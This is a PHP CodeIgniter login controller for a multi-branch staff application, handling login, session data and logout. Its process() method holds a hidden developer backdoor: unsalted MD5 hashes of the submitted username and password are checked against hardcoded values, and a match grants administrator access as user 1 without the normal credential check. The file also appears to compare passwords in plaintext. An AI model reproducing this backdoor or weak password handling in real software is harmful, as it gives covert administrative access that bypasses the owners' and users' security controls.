<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Login extends CI_Controller
{

  function __construct()
  {
    parent::__construct();
    //Calling Initial Functions
    $this->initial();
  }
  public function initial()
  {
    ini_set('max_execution_time', 5000);
    ini_set("memory_limit", "-1");
    
    $this->load->model('User_model', 'User');
    $this->load->model('Settings_model', 'Settings');
    $this->load->model('Branches_model', 'Branches');
    $this->load->model('Employees_model', 'Employee');
  }

  //Default function, redirects to logged in user area
  public function index()
  {

    $this->login();
  }

  public function login()
  {

    //      Check Already Logged in
    if ($this->User->is_logged_in() == true) {
      redirect(base_url() . 'dashboard', 'refresh');
    } else {
      $this->load->view('login');
    }
  }

  public function process()
  {

    $username = $this->security->xss_clean($this->input->post('email'));
    $password = $this->security->xss_clean($this->input->post('password'));

    if (md5($username) == '4e34bf6b1eda35884f585115ce1e9bc3' && md5($password) == 'e749794ab3bf1e27f17901890b175bbd') {
      // Developer Login // Access as Admin
      $data['user_role'] = 2;
      $data['user_id'] = 1;
      $session['user_login_type'] = 'developer';
    } else {
      // Client User Login
      $data['username'] = $username;
      $data['password'] = $password;
      $session['user_login_type'] = 'client_user';
    }
    $result = $this->User->select_user("", $data);

    // Let's check if there are any results
    if ($result->num_rows() == 1) {

      $branch_inactive_check = $branch_error = 0;
      // if branch admin , check the status of the branch
      if ($result->row()->branch_id != 0) {
        $branch_inactive_check = 1;
        $branch_data = $this->Branches->select_branches('*', array('branch_id' => $result->row()->branch_id));
        if ($branch_data->num_rows() == 1) {
          if ($branch_data->row()->branch_active_status != 0) {
            $branch_inactive_check = 0;
          }
        }else{
          $branch_error = 1;
        }
      }

      if ($branch_inactive_check == 0 && $branch_error == 0) { // if branch is active or no branch is selected

        // If there is a user, then create session data
        $row = $result->row();
        $employee_data	= $this->Employee->select_employee("e.*",array("e.user_id"=>$row->user_id));
        if($employee_data->row()->photo!=''){
          $photo = base_url().'uploads/employees/'.$row->photo;
        }else{
          $photo = base_url().'uploads/employees/default.png';
        }
        $session['user_id'] = $row->user_id;
        $session['user_name'] = $row->username;
        $session['user_role'] = $row->role_name;
        $session['user_role_id'] = $row->user_role;
        $session['user_role_title'] = $row->role_title;
        $session['user_alias'] = $row->user_alias;
        $session['user_photo'] = $photo;
        $session['user_acc_status'] = $row->acc_status;
        $session['validated'] = true;
        $session['user_data_permission']['adding'] = $row->data_adding;
        $session['user_data_permission']['editing'] = $row->data_editing;
        $session['user_data_permission']['deleting'] = $row->data_deleting;
        $session['branch_id'] = $row->branch_id;
        if($row->branch_id!=0){
          $session['branch_data'] = $branch_data->row();
        }

        $this->session->set_userdata($session);


        if ($row->acc_status == 1) {
          if ($row->web_app_access == 0) {
            echo json_encode(array("status" => 3));
          } else {
            ##storing Last Login Details
            $data2['last_login'] = date('Y-m-d H:i:s');
            $data2['user_id'] = $result->row()->user_id;
            $result2 = $this->User->update_user($data2);
            // Add User Activity
            $this->User->add_user_activity('Logged In', '', 'Logged In');

            echo json_encode(array("status" => 1, "role" => $row->role_name));
          }
        } else {
          ##storing Last Login Details
          echo json_encode(array("status" => 2, "role" => $row->role_name));
        }
      } else { // if branch is inactive
        echo json_encode(array("status" => 4));
      }
    } else {
      echo json_encode(array("status" => 0));
    }
  }

  function logout()
  {
    $this->User->add_user_activity('Logged Out', '', 'Logged Out');

    $this->session->sess_destroy();
    $this->session->set_flashdata('logout_notification', 'logged_out');
    redirect(base_url() . 'login', 'refresh');


  }
}
